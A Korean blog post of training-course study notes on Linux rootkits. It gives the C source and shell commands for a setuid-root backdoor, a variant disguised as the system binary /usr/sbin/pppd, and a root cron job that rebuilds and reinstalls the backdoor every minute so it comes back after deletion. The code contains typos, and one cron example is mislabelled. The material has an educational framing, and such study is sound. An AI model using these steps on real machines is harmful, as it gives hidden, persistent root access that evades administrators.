[SK shieldus Rookies 16기][Linux] Backdoor 제작 및 위장

Jina·2023년 11월 23일
0

SK shieldus Rookies 16기

목록 보기
23/59
post-thumbnail
post-custom-banner

Rootkit

  • root + kit 합성어
  • 정보수집
  • 해당 시스템 취약점 파악 후 공격
  • 백도어를 설치 => root권한 탈취

Backdoor 만들기

  1. 사용자 jina가 관리자 권한으로 들어옴
  2. 자기 홈 디렉터리에 백도어 파일 만들기
$ sudo su -
$ cd /home
$ nano backddor.c
  1. backdoor.c 파일 내용 작성
    권한을 root로 변경하는 파일
// backdoor.c                          
#include <studio.h>
main()
{ 
 setuid(0); // uid를 0으로 설정
 setgid(0); // gid를 0으로 설정
 system("/bin/sh"); // 본 쉘 실행
}
  1. 작성한 backdoor.c 파일 컴파일링
$ gcc -o backdoor backdoor.c

  1. 특수권한 부여
$ chmod 4755 backdoor

권한확인

실행확인

$ ./backdoor

C언어로 백도어 파일을 작성하는 이유:

  1. 시스템 접근: C 언어는 저수준의 작업을 수행하기에 적합하다. 시스템 호출, 메모리 접근 등을 더 쉽게 다룰 수 있어, 시스템에 대한 접근을 가능하다.

  2. 효율성: C 언어는 높은 성능을 제공하며, 시스템 리소스를 효율적으로 다루는데 유용하다. 이는 백도어가 백그라운드에서 실행되면서 시스템 리소스를 효율적으로 활용할 수 있는 장점을 제공한다.

  3. 포팅(Porting): C 언어로 작성된 백도어는 여러 플랫폼에서 쉽게 이식될 수 있다. C 코드는 여러 운영 체제에서 컴파일되어 실행될 수 있으며, 이식성이 뛰어나기 때문에 특정 운영 체제에 구애받지 않고 사용될 수 있다.

  4. 저수준 작업: C 언어는 메모리에 직접적으로 접근할 수 있기 때문에, 악의적인 목적으로 메모리 조작 등 저수준 작업을 수행하기에 적합하다.

Backdoor 위장하기

/home 디렉터리에 있으면 서버 담당자에게 발각되기 쉬우므로 다른 곳에 그럴싸하게 위장시켜놔야 한다.

여기서는 /usr/sbin 디렉터리에 pppd 파일로 위장시킨다.

[ root ]

$ sudo su
$ cd /home/jina
$ cd /usr/sbin

$ nano backexec.c
// backexec.c                       
#includ <stdio.h>
main(int argc, char *argv[])
{ 
  char exec[100];
  setuid(0);
  setgid(0);
  sprintf(exec, "%s 2>/dev/null", argv[1]);
  system(exec);  
  printf("./pppd: The remote system is required to authentic>
  printf("./pppd: but I couldn't find any suitable secret (p>
} 

위장파일 생성

$ gcc -o bsckexec backexec.c # 컴파일
$ chmod 4755 backexec.c
$ ls -l # 권한 부여됐는지 확인 -rwsr-xr-x

실행확인

$ ./backexec # 실행 확인

pppd 파일을 백도어 파일로 변경

$ cp /usr/sbin/pppd /usr/sbin/pppd.back
$ mv backexec /usr/sbin/pppd
$ ls -l /usr/sbin/pppd

[ 사용자(jina) ]
jina로 사용자 변경

$ sudo su - jina

pppd로 위장한 파일이 있는 폴더로 이동

$ cd /usr/bin
$ ls -l pppd

백도어 파일 실행

$ ./pppd

프로세스 스케쥴링

프로세스 스케쥴링이란?

특정한 시간에 특정한 작업을 수행하게 하는 것

프로세서 데몬

종류설명
at한 번만 실행되는 경우 사용
  - /var/spool/at
cron주기적으로 프로세스를 실행 시 사용
  - 관리자 : root 권한으로 /etc/crontab 에 등록
  - 일반 사용자 : /var/spool/cron/사용자id 에 등록

0 12 * * 1-5 /etc/work.sh
월요일~금요일까지 오후 12시 실행


10 4 1 1-12/2 * /etc/work.sh
1월부터 12월까지 2개월마다 1일날 오전 4시 10분에 실행


0 10 * * 1 cat/root/notice |mail-s "notice" email@gmail.com
월요일에 실행 

0 4 * * 1,3,5 find/ -name '*.bak'-exec rm -rf {} \;
백도어 파일 발견 시 디렉토리와 파일 삭제

cron을 이용한 위장 백도어

[ root ]
위장파일 생성

$ cd /etc/cron.d
$ nano set.sh

# set.sh 실행파일 작성
gcc -o backexec /home/jina/backexec.c
chmod 4755 backexec
mv backexec /usr/sbin/pppd
$ ls -l

/etc/cron.d 수정

$ nano /etc/crontab


# 밑에 내용 추가

# 매분마다 파일이 생성된다.
* * * * * root /etc/cron.d/set.sh

cron 내용 수정 시 restart 해줘야 한다.

service cron restart

제대로 동작하는 지 확인

rm -rf /usr/sbin/pppd # pppd 파일 삭제
ls /usr/sbin/pppd # 반복적으로 확인

삭제 했던 pppd 파일이 1분 뒤 다시 생성된 것을 확인할 수 있다.

profile
공부 기록
post-custom-banner

0개의 댓글